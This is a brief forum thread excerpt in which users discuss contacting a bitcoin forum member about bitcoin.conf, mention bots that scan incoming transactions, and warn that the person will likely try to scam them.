I would like to PM you but I don't have enough posts to PM. I don't know if you can PM me, I would like to have a private chat with you regarding bitcoin or you can drop your telegram ID / email here so that i can contact you privately. Thanks

(Dec 12, 2019 09:53 AM)Kill Joy Wrote: [\[CITE\]](#) Yes they can. There are bots that actively scan incoming transactions. These days it is probably not worth running it 24/7, but they are still ran.

Kill Joy - March 4, 2020, 9:50 am

(Mar 4, 2020 07:37 AM)Light3r Wrote: [\[CITE\]](#) I just sent him a message on his email which i got from his profile / post on one of those forum you mentioned but he is yet to reply. I wanted to ask him some questions on bitcoin.conf

What does bitcoin.conf have to do anything with amaclin? He won't respond and will likely try to scam you.

Miamia333 - March 8, 2020, 9:46 pm

That was interesting brother!